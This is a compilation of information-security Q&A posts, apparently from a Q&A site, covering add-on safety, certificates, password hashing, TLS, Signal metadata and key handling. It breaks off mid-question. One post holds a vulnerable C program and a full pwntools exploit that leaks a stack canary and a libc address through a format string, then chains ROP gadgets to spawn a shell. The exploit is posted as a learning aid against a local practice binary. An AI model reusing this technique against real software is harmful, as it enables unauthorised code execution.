How to test if a browser add-on is safe I came across this plug-in that started some alarm bells ringing. The add-on would help submit a website to web directories. The first 100 submissions are free, then you need to pay $20 via pay-pal (no other option) to get additional submissions.

This gave me the creeps! First install this plug-in and then do a payment via pay-pal...

Is there a way to test the plug-ins behavior or view the communication it has with the browser content and / or input devices (keyboard). I've thought of using a sniffer, then go to paypal and pretend to do the payment (with a wrong password) and see if any data is going any where else than pay-pal, however the add-on might be clever enough to wait for a later moment when it "legitimately" needs to communicate with base (retrieving additional directories).

Any thoughts on alternatives?

Background. First off, I want to share with you some background about browser add-ins.  There are two kinds of add-ins: extensions and plug-ins.

An extension is a Javascript-based add-on that gains partial access to your browser, but is (at least in Chrome) restricted by a browser sandbox.
A plug-in involves native executable code that gains much more intimate access to your browser, and is not restricted by any sandbox.  For instance, Flash player is a plug-in.

Plug-ins are considerably more dangerous, because they have full access to your filesystem, full access to run programs on your machine, full access to your browser (and all web sites you visit, passwords, etc.); they can do anything you can do.  Extensions are more limited in what they can do (at least in Chrome), and thus (in Chrome) are safer.

I suspect you are asking about an extension, not a plug-in.  For instance, the extensions in the Chrome Gallery are extensions.

How to tell if it is safe.  In general, there is no good way to tell if an extension is safe.  You can look at reviews from other users (though this is not fully dispositive).  You can look to see if the extension has been around for a while, has a significant number of users, and/or comes from a respected brand/company/developer (though this is only an indicator and certainly not a guarantee of security).

And, perhaps most importantly, in Chrome you can look at the permissions that the extension is requesting.  This will tell you what information the extension will gain access to and what it could do, if it were malicious.  A malicious extension will be constrained by its permissions, so the fewer the permissions, the lower the risk of the extension.

Further reading. For more information, I suggest that you read the following:

What are the security implications of people downloading plugins, wrongly thinking that they are safe?
How can I assess the trust worthiness of a browser add-on?.


Is there a security issue in using the same certificate for all a company's services? We are a small startup. One of our products is a B2B web service, accessible through its https://service.example.com canonical URL.

For testing purposes, that service also runs on different testing/staging/integration environments, such as https://test.service.example.com , https://integration.service.example.com, etc.

We also have collaborative tools such as a bug tracker or a wiki. They run also on machines provided by our hosting provider. Their URLs are e.g. https://wiki.example.com, https://bugs.example.com.

To keep things simple, we use a single certificate (for example.com), and have added all the URLs above as Subject Alternative Names to that same certificate. All our servers thus use the same certificate.

Is there any security issue in doing so that we should be aware of? If yes, what would have been the "correct" way of doing things?

Using the same certificate does not in any way affect the fundamental security of the connection that is established using it.

The only possible "weakness" introduced by using the same certificate is that if that certificate expires or is leaked all your sites will be affected. Since this certificate is on multiple servers and some of them might be test servers with less security there is the possibility that the private key of that certificate can be inadvertently leaked or exposed from one of these unchecked servers.  This is is certainly not a failure of the security provided by the certificate, but rather a failure in keeping the certificate's private key secret.

The alternative would be to use separate certificates for all your sites which would mean that you would have that administrative burden of having to renew, protect and monitor multiple certificates.

If you properly protect the private details of that one certificate there is no reason why using it would introduce any additional security concerns.


Relatively secure faster alternative for HTTPS I am working on a multiplayer game. I intended for all data to be exchanged over HTTPS, but it is way too slow. High latency networks take over a second for SSL handshake. While the game is turn-based and does not require blazing-fast data transfer, 1000-2000 ms ping is still unacceptable.

What protocols/approaches can I use to transfer data securely, with as low latency as possible?

Edit: Just to respond to your enquiries about the payload, here is what the result of a unit attacking an enemy building (obviously I'm not sending a string of ones and zeros, this is just a binary representation):

00000000 10010011 01010001 00100011 01011100 01010001 01010000

Message breakdown:

00000000  client's request executed with status "OK", other values correspond to specific error messages.

10        Object is owned by Player 2
010       Object is a building
0110      Object is located at x=6  (always 0<=x<=14)
101       Object is located at y=5  (always 0<=y<=6), owner and location is sufficient to describe any object uniquely
0001      1 byte-worth of modified attributes follows
0010 0011 Object's health is now 3

01        Object is owned by Player 1
011       Object is a unit
1000      Object is located at x=8
101       Object is located at y=5
0001      1 byte-worth of modified attributes follows
0101 0000 This object can no longer move/attack this turn

I don't think that I can get any more data density without making it expensive on the CPU.

HTTPS is HTTP over TLS.

If you implement a game, using HTTP is usually not a good idea. The HTTP protocol is designed for requesting documents, not for real-time games. A better idea would be to develop your own protocol directly based on TCP or UDP (UDP is faster while TCP is easier to use, but that's a topic for game development stackexchange) and tunnel it through TLS.

The time-consuming key exchange process only needs to happen once when establishing the connection. When you keep the same connection open during the game, the only latency overhead is caused by encryption and decryption. TLS supports multiple cipher suites (sets of cryptographic algorithms which are used). The choice of cipher suite can be used to find a compromise between performance and security.


What happens if you upload code with a file extension that a website permits (PNG for ex)? Example is GitHub comments that only allow uploading images and PDF. What happens if someone uploads malicious code after he changed the file extension to something like PNG or PDF?

Also don't get focused on the GitHub example. In am wondering in general if changing a files extension (not totally-not-virus.mp4.exe, but virus.pdf or virus.txt) can cause trouble.

Anything can happen and what exactly happens depends on the server side code of the web application. Some believe in extensions, some believe in the content, some can be tricked with polyglot attacks, ... Thus in the best case nothing happens or you get an error because content is not allowed and in the worst case you can execute code on the server.

If done right any user generated data should be considered a possible attack by the server and thus handled with lots of care. But in practice servers can often be exploited because they trust user generated data too much. This includes but is not limited to trusting the file extension. Current example:trusting an image upload (imagetragick).


Dealing with shared credentials when an employee leaves We have around 20+ accounts of different services (company email inboxes, forums, social media, Github, etc.) we use in my team. For security reasons, whenever some employee leaves us, I need to change the password for all those services. Luckily, it's happened twice in a three years span, but it's still a pain.

How do you deal with shared credentials when an employee leaves? Especially if you're in a large organization where people are coming and leaving on a monthly basis. Many of those services don't provide LDAP integration, so even if we disable their account, they still have access to the service.

First, re-engineer your account management process, where possible, so that users have personal admin accounts and the built-in admin account is disabled, or that built-in account password is stored in a secure location such that your admins cannot get unauthorised access to it (e.g. password vault).

Second, if you cannot use account separation on the device/service level, then consider using one of the many privileged access tools or Cloud Service Brokers (CSB) (e.g. CyberArc, Thycotic, etc.) so that only the system knows the password and account separation is achieved on a management layer. Blocking access to a user is a 1-click operation in the tool. Changing passwords is equally easy and the authorised users experience no change or inconvenience.

Third, even if you do the above, you have a manual documentation and audit process to engage:

document all services that need to be managed
document all accounts and users on each service
review all accounts/users on a periodic basis (annually? quarterly? monthly?) to confirm fitness
audit the completeness of all services and accounts

Obviously, a privileged access tool or a Cloud Service Broker is the way to go for consistency and uptime.


Is it safer to be setup as a user with 'standard' vs 'administrative' privileges in Windows 10? I am setting up a relatives computer using Windows 10. I am going to create them a 'standard user' account which I will encourage them to use as their every day account.

In addition to that I will create a password protected 'administrator account'  that they can use when and should they need to make changes to the computer requiring admin privileges (for example installing software). My hope is that this setup will increase their safety while browsing the internet, and provides a little more safety buffer when it comes to them doing stupid stuff (like clicking on links in emails). I realize privilege escalation exploits exist, but at least if an adversary/attack tries to run malicious scripts under the current users privileges, that attack vector will be limited.

Is my reasoning sound? I realize they still wont be 'safe' but the goal is to simply make their computer experience 'safer'. Will this do it? Is there a better (yet simple) approach?

Simple answer, yes he is safer but not "safe". If an attacker who has delivered a payload to the machine whether from an iframe or a redirect, the machine is owned and there is little to nothing you can do about it. The problem is not that it would help with some attacks, but it would make little difference in a vast majority of them.

I would say on an at-home computer that I don't use for work purposes at all, that having a separate admin account is over the line of usability vs security in my mind. I reinstall from an image of what I consider "needed" software at home a few times a year and I keep no personal information on it. I do however, have a "work" laptop that has a separate admin user/pass that does have information I want to keep out of the hands of miscreants and I do take much greater care of security measures on that machine.

The questions, as always, is security vs usability. Is banking done on the PC? Social Security #'s? Company info? etc... Once those questions are answered you can arrive at the best answer for the situation.


Where are the HTTPS session resumption tickets/sessionIds stored on the client? With Session resumption in TLS/HTTPS the client stores the sessionID or the session ticket and uses it the next time it wants to communicate with the server. I am trying to find where the browser stores this information. I am not able to find much information about that. Can anyone help out or point me in the correct direction?

What the client actually stores is the set of security parameters, the most important part of which being the master secret: this is the secret value shared with the server, obtained from a previous handshake. The session ID or session ticket is just a value used to reference that master secret(*).

The master secret is very sensitive (knowing it allows decrypting all the data in the session...) so the client is supposed to be extra careful with it. In practice, the client stores it in RAM only; you won't find it in any file, and it disappears when the client process is terminated (process termination, in the case of Web browsers, mostly equates with closing all browser windows). Session ID and tickets are stored along with the master secret, in the same emplacement, since they do not make sense without that master secret.

(In modern Web browsers, there are usually several process, but they talk to each other, so, for this discussion, they can be considered together as "the browser process".)

On the server side, RAM-based storage is also common, but some servers allow storage in a database or in some other mechanism so that the master secret may be shared between several front-ends. This is needed for some kinds of load balancing mechanisms. Of course, writing the master secret on any physical medium is a potential source of leak, so this kind of game shall be done only with great care.

(*) Well, the session ticket is something a bit more complex than that, but the gist of the idea remains valid: for the client, the master secret is outside of the session ticket.


Encrypted volume vs password manager - security benefits What security benefits are gained from having a password manager, versus having the passwords stored in plaintext on an encrypted volume?

Both would allow one "master" password, both would (potentially) allow external storage of encrypted data... what would be the benefit, from a security standpoint?

Of course, usability is not unrelated to security, so if there is a point to be made with usability it may relate to this as well.

This is not asking about a specific product (such as KeePass vs. OneNote), but instead is focused on a higer-level comparison of methods available to users of most modern OSes.

This may not completely answer your question, but I have tried both encrypted volumes (OS X) and password management systems (both KeePass and mSecure) and there are some security advantages to the latter, as you suggest: related to usability. They're minor, and one might even be viewed as a disadvantage.

The password managers may permit you to not "show" passwords on the screen, but instead let you copy and paste them without having them be visible.
In password managers, even when passwords are visible, only one is visible at a time.
Password managers facilitate the sharing of the encrypted password database between devices (this might be viewed as a disadvantage, but it also might mean you don't have to read a password on one device to use it on another, and that you have backups of your password).

These things are mostly trivial, compared to more important questions:

Where are the passwords stored?
How are they encrypted?
How are the keys managed?

I haven't been able to find out good answers to these questions yet for the most recent version of mSecure, so I haven't upgraded yet.

EDIT: Another advantage is auto-lock on inactivity. mSecure will automatically lock itself after a configurable amount of time.


Why do you need a 4096-bit DSA Key when AES is only 256-bits? This is something which I have been wondering and trying to find an answer for, but yet to come even remotely to one.

Why do you need a 4096-bit DSA/El-Gamal key when AES uses only 256-bit keys?

A symmetric key is just a bunch of bits. When you have a 128-bit symmetric key, you have 128 bits, with the two following important characteristics:

Any sequence of 128 bits is a potential key, so there are 2128 of them.
There is no internal structure to these 128 bits.

These two characteristics mean that (barring some weakness in the encryption algorithm that uses these key), if you want to break such a key, you have no choice but to try out all potential keys until you get lucky and hit the right one, with an average cost of 2127 trials.

With asymmetric algorithms, things don't go that way. To get the "asymmetry", you cannot just throw together operations and key bits into a big tangled mess, like symmetric algorithms do; you need mathematics. Structure. So the public key will be an encoded mathematical object with a lot of internal structure:

The public key is encoded as n bits, but not all sequences of n bits are a valid public key.
To break the key, one needs to unravel the internal structure. This can be done a lot more efficiently than the ham-fisted, Neanderthal-level, brutal enumeration of possible private keys until luck happens.

In RSA parlance, the public key is a pair of integers: the modulus and the public exponent. The public exponent is normally very short. The "key length" is traditionally the length (in bits) of the modulus, where the mathematical structure hides: the modulus is a big composite integer, and the hidden structure is the knowledge of the two (or more) prime factors of the modulus. We know of integer factorization algorithms that can factor a n-bit modulus in a lot less than 2n-1 trials.

The net consequence is that asymmetric keys are "larger than their strength": the mathematical structure needs room.

Another consequence is that the "strength" achieved by an asymmetric key depends on the key type: for instance, ECDSA keys internally use elliptic curves, which has extremely little to do with integer factorization. So it is usually estimated that you get "128-bit strength" with a 256-bit curve.

It just so happens, by some freak coincidence (well, mostly), that algorithms based on discrete logarithm modulo a big prime (Diffie-Hellman, DSA, ElGamal -- not the elliptic curve variants) offer a strength which is roughly similar to that of RSA for a modulus of the same size. From there comes a traditional (and confusing) habit of talking about "asymmetric key strength" as if it was a generic property of the "key size" regardless of the actual key type and algorithm. This is a wrong but widespread notion.

For details on key strength estimates, see this site.

Homo neanderthalensis, who, for some authors, should be called Homo sapiens neanderthalensis, was apparently able of abstract thought and left traces of mysticism (e.g. burial rites) and a few pieces of art (not a lot, though). However, he was still an "hunter-gatherer" and when you spend your days trying to stick a spear in a big animal so that you do not starve, you tend to apply practical, no-nonsense solutions to everyday problems. You don't get mathematicians until you have both agriculture and cities of sufficient size to support such people that do not directly contribute to today's evening meal.


How can SHA256-hashes as input to MD5 be revealed? I know that you shouldn't use unsalted MD5 hashes of passwords in databases. But unfortunately, people do, see https://hashes.org/public.php.

From this site I downloaded a file with passwords which obviously got cracked because their md5 hashes leaked.

It's very clear to me that this file contains short passwords and passwords which appear in a dictionary, since you can get them by brute force.

What I don't understand is: Why are there SHA256 hashes in this file? You simply can't input all SHA256 hashes into MD5 because the input space is way too big.

So how did people find this long, random-looking passwords?

You mean, that people use passwords like "abc123" and hash them to SHA-256 to get "6ca13d52ca70c883e0f0bb101e425a89e8624de51db2d2392593af6a84118090".

And then they think that the second is more secure than "abc123".
But is it?

Yes, the hashed version is in some cases more secure when we're talking about password-entropy. Because it's longer, has more random digits and characters,...

However, this is something we call security through obscurity.
This method is secure, as long as no one knows you're using this.
Because, it actually is just a case of hashing weak words to SHA-256 and see if they match.

Password crackers when doing a dictionary attack define rules.
This can be things like: "also try with '123' after every word in the dictionary", or "make the first letter of the words in the dictionary uppercase", but they can also be "SHA-256 hash every word in the dictionary and try that".

And that rule is probably what this password attacker used.
And yes, SHA-256 is relatively slow (which is a good thing), so the attacker would need more and better hardware. But people do have dedicated computer systems with e.g four top-level Nvidia Titan GPU's.
Which can still do a lot of MD5(SHA-256($pass)) tries in a given amount of time.
And not to mention that botnets are also still a thing, combining loads of computers to have more power.

tl;dr:
It's just a question of using good rules.
And maybe only SHA-256 the words which are short/weak, instead of all to save time.

Tip for using save passwords:
Take e.g five easy to remember words:
e.g: battery, lamp, living room, candle, firespeed.
(The battery of my lamp was empty so I took the candle in my living room with firespeed).
This way, your password is:
batterylamplivin_groomcandlefirespeed
This way you have +- 35 characters, we have putted in a random '_'
in the middle of a word to make it a lot harder for the attacker to guess.
And when the attacker is doing a dictionary attack with rules of combining words. He'd need to combine this five word in the right order, including a word like 'firespeed', and then a rule to place a _ in every place of the string.
With other words, this is a strong password, easy to remember and easy to type.
A password manager is still better, but the password above could be used as masterpassword for the manager.

Tips for saving passwords in a database:
Use strong algorithms like SHA-256, but even better: Bcrypt.
Read papers on how to salt and even pepper,
let your code be reviewed by several people before actually using,
don't try to make own algorithms.


How to memorise multiple xkcd-style passwords for particular services? I could use a password manager, but I don't like relying on another entity than myself to store my passwords, and it would screw me over if I find myself on the internet in a new location without the database. So I want to use the correct horse battery staple method for my passwords (don't tell anyone,) and memorise all of them. But I'm not sure how I can remember which password is for which service. How can I mnemonically link each password to the particular service?

The point of xkcd-style passwords is that: humans think in stories. A password of that kind can be remembered because the user will build a kind of "story" involving all the words in the password as elements of the story.

Along these lines, you should include the service name as part of the story. If your "correct horse" password is for Amazon, then you may remember the story as "a book about famous 'smart horses', including one who could correctly (and famously) recognize staples and batteries". Or something else. The story needs not make sense when written down; it is personal to the user.

Another completely different method to remember passwords is to type them often. This is memory in the fingers (that is, in the part of the brain that controls the fingers), and it works well.

Yet another point is that if you are on the other side of the Internet but still want to access your passwords, then you are about to type your password on some machine. So:

Either this is your own laptop, then why don't you have a copy of your passwords, encrypted with a strong master password ? That's something I do (this is safe if the master password is strong, and you apply some care on the decryption, e.g. deactivating swap space and doing the decryption in a RAM-based filesystem).
Or you are about to type your password in a third-party machine, e.g. in some "Internet café", and well, you should not. Really. Because such a machine could have a key logger.


End-To-End Encryption in Cloud file sharing I am a currently analyzing the available Cloud services allowing End-To-End Encryption for file sharing.
It looks like, for each solution I found, if Alice wants to send an encrypted file to Bob, she will have to trust the server when she will ask for Bob's public key, in order to send him the "file key" securely.
My question is : how is the key authenticated ?
If the key is not "authenticated" and the server is corrupted, then nothing prevent Man In The Middle : the server sends his own public key, get the file key, re-encrypt the file key with Bob's public key and send it to Bob.

In the solution that you describe, the service acts as a CA of sorts, validating for Alice that the public key purported to belong to Bob is in fact Bob's.
For further verification, some end-to-end encrypted file sharing services (e.g. encryptedsend.com) provide a means for Alice to verify Bob's public key, through some out-of-band method, such as phone, SMS, etc.


How does a third party account reset work? In Facebook for example, when I want to reset my password the website provides several options, one of them is just to login to my email in another tab in the same browser window then Facebook lets me to create a new password.

I want to know how this technique works.

This is called social login.

Basically, facebook redirects you to google with a callback URI. Once on google you authorize facebook to access your basic information (email and name) and google redirects you back to facebook (to the callback URI from before) with a code.

Facebook then contacts google to exchange that code for a token it can use to access your information. If it can access your information on google, and the information matches the expected information, it has successfully authenticated you.

This is an overly simplified view of the process, there are some crucial steps and precautions that must be taken to make this secure.

The current state of the art protocol for social login is OpenID Connect which works on top of OAuth2.


What can my Telco / ISP learn from my Signal (secure messaging app) communications? To preface this question, I use Signal messaging app for voice, video and text.  I understand that the content of all these messages are encrypted and no-one but the sender and recipient can see/hear this content.  I should also say that I live in a country (Australia) where it is very easy for any authorities to obtain meta data of my communications, but quite difficult to obtain permission to attempt to view/listen to the content.
So I want to know what meta data my ISP can obtain regarding my communications over Signal.  I have no doubt they can tell that I am using signal, that they see that I connect to a Signal server and that they can see when I send communications.  They can probably tell if it is text or voice/video communications.  I am okay with all of this.  I also understand that I could hide much of this from my ISP if I used a VPN (but that is not the question I want to ask).
My question is, what else can my ISP see?  Particularly, is there anything in the metadata that they have access to that would let them know who I am communicating with (or which IP address I am communicating with).  Does any of the data flow directly from my device to the recipients device without going through a Signal server?  Or does it go through a Signal server, but has some unencrypted information that would give away the recipient?
In the Australian context, ISPs are required to store all metadata for a period of 2 years, so I would imagine a persistent investigator could match details about volume of data flowing out of one device with the amount of data flowing into another device and have fairly clear evidence of who is communicating with who (ie. traffic analysis attack).  This would be particularly obvious for voice and video calls which are always synchronous.  For text messages, they may be held at the server for delivery later, in the case where a device is off or out of range.

Client's traffic to Signal server is also protected with TLS. ISPs cannot obtain meaningful data if you are doing text messaging only. However, based on traffic patterns, they can figure out when you are doing group messaging. Unlike WhatsApp group messaging, Signal's group messaging does client-side fanout. In Signal's group messaging, sender replicates the group message for every group recipient, encrypts them individually using pairwise messaging and sends all of them at once to the server. This is an intended design to keep your social graph invisible to the server. Signal web service has no knowledge about your groups.
This pattern can be fingerprinted by ISP. It can distinguish when you are doing a pairwise messaging and when you are broadcasting a message for the group. Though knowing this information is not valuable enough. Signal's VoIP calling is peer to peer. Your ISP can see whom you are connected with and how long was your session. They can also see if it's group calling or pairwise. Group calling can be used by ISP to learn about your social graph. If you want Signal client to use a relay for calling, force your router to only use Symmetric NAT.


How to leak libc base address using format string exploit I've been trying for some time to write an exploit to a very simple program which has a format string and a buffer overflow vulnerability.
This program has NX, SSP and ASLR.
#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    printf(argv[1]);
    printf("\n");
    gets(buff);
    return 0;
}

I successfully bypassed this 2 first one's, but I can't beat ASLR.
NOTE: Bruteforce isn't an option
My idea is to leak a libc function and subtract the offset, but I don't know how to do it with a format string vulnerability.
Also, I must say that null-bytes can't be written, as input is got from the arguments.
Questions:
Is this even exploitable?
If it is, how can I leak a GOT/PLT entry for calculating the libc base address?
I'm on the right track?

Thanks to Andrea, who helped me in the comments, I've been finally able to write a reliable exploit.
The clue for achieving it, was to look carefully at the stack. There, I could find the address of a function __libc_start_main()+240 which I could use later for calculating the base address of libc by subtracting the offset.
Here is my full exploit, I hope this helps other people to understand how to defeat ASLR, DEP and SSP :)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit
p.sendline(payload+"\n")

# Spawning shell
p.interactive()


How to dissable 1024 bit Diffie Helman, SHA1, DES-CBS-SHA We are using ubuntu server with apache 2.4 For PCI-DSS compliance need to disable 1024 bit Diffie Helman, SHA1, DES-CBS-SHAencryption and hashing ciphers.

currently I am using below settings.

  SSLHonorCipherOrder On
          SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:!RC4:HIGH:!MD5:!aNULL:!EDH:!3DES:!DES:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!MEDIUM

  How to check and disable 1024 bit Diffie Helman, SHA1, DES-CBS-SHA on ubuntu Apache server.

Mozilla has a config generator to help you if you are not aware about what you should and you should not add to a config file.

Here's the link https://mozilla.github.io/server-side-tls/ssl-config-generator/

In your case, for Apache 2.4 your config should be similar to

<VirtualHost *:443>
    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key

    # Uncomment the following directive when using client certificate authentication
    #SSLCACertificateFile    /path/to/ca_certs_for_client_authentication

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...
</VirtualHost>

# modern configuration, tweak to your needs
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder     on
SSLCompression          off
SSLSessionTickets       off

# OCSP Stapling, only in httpd 2.3.3 and later
SSLUseStapling          on
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
SSLStaplingCache        shmcb:/var/run/ocsp(128000)


Key stretching a hash If I implement a function which hashes the first half of my password with MD5 and the second half with SHA-2 and MD5, is there a security issue when I put these two hashes together to create a 64 character string?

Example:
Password: "test123"

first_half: md5(test+salt1);
second_half: sha2(md5(123)+salt2);
hash = first_half + second_half

I would like to use something like this to stretch the hash, so that the attackers will not know what kind of hash I used. So standard rainbow tables will be useless. Also, there will be no standard MD5 collisions, because it has more characters. Am I right?

No. It'd be trivial for them to just take each part and bruteforce it, even for strong passwords. You're falling into the same problem as NTLM did in the early days, where a long password ends up being two really short passwords which are easy to bruteforce independently.

Instead of having to crack one 10 character password (assuming a-z 0-9 that's a keyspace of 3.656×1013) they only have to crack two 5 character passwords (keyspace of 120,932,352 for the same password) making the problem several orders of magnitude easier for them.

If you're looking to hash passwords, use a strong key derivation algorithm such as bcrypt or PBKDF2.

I recommend having a read through these two questions over at IT Security:

Do any security experts recommend bcrypt for password storage?
How to store salt? (contains a detailed explanation of why key derivation and salting is necessary)


Is it normal for a company to request this information after stolen card details were used? My friend's credit card details were randomly used to make a two small purchases on a food delivery app, by someone other than my friend. They have already contacted the bank and cancelled the card.
My friend contacted the app company to let them know, and the app company replied requesting that my friend provides the following information to help investigate:

Last 4 digits of card number
Card-issuing company
Card expiry date
Country/region the card is registered to

Is this normal / safe practice?

It is safe.
The delivery app MUST NOT know the full 16-digits number of the card, but SHOULD keep a smaller record, namely last 4 digits, to identify the card.
4 digits are not enough to uniquely identify a card, so they must be combined with other information. But 4 digits are not sufficient for the employee that reads email to make additional fraudulent purchases (irrelevant, as the card was revoked).
The delivery app will indeed have to return the money as the bank will claim it back, but this information helps them identify the orders and the account associated to them. And likely block the account or get info ready before someone else  asks.


Determine hashing algorithm only with known input and output Given the input:

  test

A system generates the following output hash:

  0x001F41B6A0534D3B851D69EFE6237F550100000010D5F4FC65E64BCFDBF2590212E4411C44942C6C734C00ACFE13B958DCAB3614

I do not know the algorithm, or what salt (if any) is being used.  However, I can feed the system any input I choose, and receive a hash in return.

Given the above, is there a way I can determine which hashing algorithm is in use?  Could I also find out if a salt is being used and, if so, what it is?

To find out if a salt is used, try to use the hash the same value again (as if it was a "new password"). If you get a distinct output, then there is some non-determinism (aka "a salt"); otherwise, there is no salt.

If the hashing mechanism is meant to be secret, and was done properly, then it is a MAC and you will not be able to rebuild it from analysis of inputs and outputs alone. If it was not done properly, then... anything goes.


Using chip and pin credit card for authentication? I'd like to use a chip and pin credit card for authentication, that is to register a card into a system and then use it to log in (for demo/entertainment purposes only so bulletproof security isn't required).

I've had the idea of performing a fake transaction (that wouldn't be submitted to the bank obviously) to prove whether the user has the PIN code of the card, but how do I prove (cryptographically; I assume the data returned by the card on a successful transaction is somehow related to the card number and there's a way to check the authenticity of that) that the card is indeed that card that was registered previously instead of some other random card ?

Thanks.

First, have a look at [this question].

Based on that question, my understanding of bank cards is that the chip card puts it's own accNumber+PIN into a signed message encrypted for the bank's server (probably with some challenge data from the POS to avoid replay attacks) and asks the Point-of-sale (POS) terminal to send this on its behalf. The POS terminal can't read the message, but can send it off to the bank. The bank validates the message, checks the signature, and compares it to the accNumber+PIN in it's database and returns a YES/NO to the POS terminal. (disclaimer: this is how I imagine it could work, I don't know if this is how it actually does work.)

There are other challenge-question-based approaches commonly used in the security industry (for example, for ID badges to get into your office building). They work as follows: when you hold the card up to the reader on the wall the chip card, the card reader, and the database have the following exchange:

Chip Card to Reader: "I am John Smith and my public key is pub_key."
Reader to Database: "Does pub_key belong to John Smith?"
Database to Reader: "Yes."
Reader to Chip Card: "To prove you have the matching private key, sign this message: rand_32bit_msg."
Chip Card to Reader: enc_msg = encrypt(rand_32bit_msg, priv_key), "Here's enc_msg."
Reader: does decrypt(enc_msg, pub_key) == rand_32bit_msg? "Ok, I believe you own the private key, in you come!"

Presumably you can buy a set of chip cards and readers from various manufacturers, but I have no idea if this is within the budget of a hobby project.


Private key management in memory I'm a developer who's working on a networking protocol that includes encryption. It doesn't really matter, but just for the sake of context I'll mention that I'm using libsodium crypto library.
Now there's a lot of asynchronous code in my implementation and I tend to simply copy the private key that is used to encrypt the packets. The private key is a 32 byte array so the copying is supposed to be cheap CPU wise.

Some people say I should hold as few copies in memory as possible, maybe even just one and use a shared pointer throughout my application. On the other hand, if the hacker detects this specific memory location, he could replace the private key with something else. So having multiple copies scattered around in memory should make it more complex to do so, but it also opens more holes to look for the private key.

What are the good practices to manage the private/secret keys in memory?

The best practice to manage the private / secret keys in memory is to use a memory physically out of reach of attackers, such as a HSM, Smart Card, Trusted Platform Module, or Secure Element.

Problem is, that's hardware, and on modern machines (servers, cloud, PCs, mobile), trusted hardware is not easily usable (though often present; in particular I see some renewed interest for TPM 2.0 in server/cloud).

Software-only options are a compromise. A reasonable one it to

Trust the hardware + OS to keep at least memory content of a process private, and keep private / secret keys is a separate process doing the crypto, exchanging messages with the process using the crypto.
AND stick to algorithms that have inherent protection against side-channel / cross-process leaks, because attacks on this front are aplenty. Libsodium is a good choice from this standpoint.

The combination at least makes a leak of a private / secret key unlikely to result from vulnerabilities in the process using the crypto (due to practically inevitable bugs in the unmanageably complex software stack involved in a typical application). A drawback is that access to the process doing the crypto must be managed securely (e.g. thru access rights enforced by the OS), which adds complexity.

One way to see so-called "enclaves" is as a standardized implementation of that design principle.

My opinion on the subject of multiplying the secret versus using pointers to a centralized area is that it is secondary from a security standpoint, compared to process isolation. I tend to prefer pointers, not so much because it is slightly more efficient, but because it saves from the hassle of having to zero copies no longer in use in order to follow guidelines requiring that. I regard such zeroing as technically non-essential (again, compared to process isolation); but like using e > 216 in RSA, it's something to bow at.


Ciphertext-only vs known-ciphertext attack From what I understand, "ciphertext-only attack" and "known-ciphertext attack" are both synonyms for an attack in which the attacker knows a number of ciphertexts and only those ciphertexts, e.g. has no idea about the corresponding plaintexts and has no way of querying the encryption function either.

Is this understanding correct? If no, what is the difference between the two? If yes, is there a scientific (as in: scientifically citable) source that explicitly states this equivalence?

A quick check of Wikipedia indicates they are the same thing as I suspected just from their names.  This isn't very scientifically citable, but I would assume for the cryptographic community this would be common knowledge.


Found Wildcard AlphaSSL Cert Private Key of large Webhoster - what now? I just stumbled upon the wildcard ssl certificate private key protecting the control panels of my (rather large) webhoster - it was world readable inside a common directory accessible by all tenants on the server.

The webhoster ignores my requests to revoke / replace the certificate / making this file not world-readable.

The certificate was issued by AlphaSSL.

What should I do?

Send the a signed message to the issuer of the certificate. They will be forced to revoke it when you prove that you have the private key.

This can be done with the following command:

openssl dgst -sha256 -sign keyfile -out signature text-file-to-sign.txt

Send the signature and text-file-to-sign.txt to the issuer. Ask them to verify with

openssl dgst -sha256 -verify public-keyfile -signature signature text-file-to-sign.txt

In this way you prove that you have the private key, without revealing the content of the private key. Any issuer that adheres to the rules should revoke the key when they learn that a third party has access to it.

Another way would be to send the key itself in e-mail to the issuer. This should only be done if you can send encrypted e-mail to the issuer, to avoid more compromise of security than needed.


Can an infected endpoint steal private keys from a FIDO U2F Hardware Token / Yubikey? Is it possible for an infected endpoint to steal private keys from a FIDO U2F Hardware Token / Yubikey? What attacks exist against these hardware tokens? What mitigations are possible? For the scope of this question it's limited to U2F Keys, some Yubikeys allow you to store SSH and GPG Keys those are outside the scope of this question.

No, this is not possible. Secrets can't be extracted from Yubikey tokens once they've been written. U2F keys don't even allow the secret to be written.


Period and direction of risk when connecting to malicious webserver Please forgive my terminology mishaps.

Recently, I tried to connect to a server over SFTP. The SSH public key response differed by 1 byte to what I was expecting, from an info page.

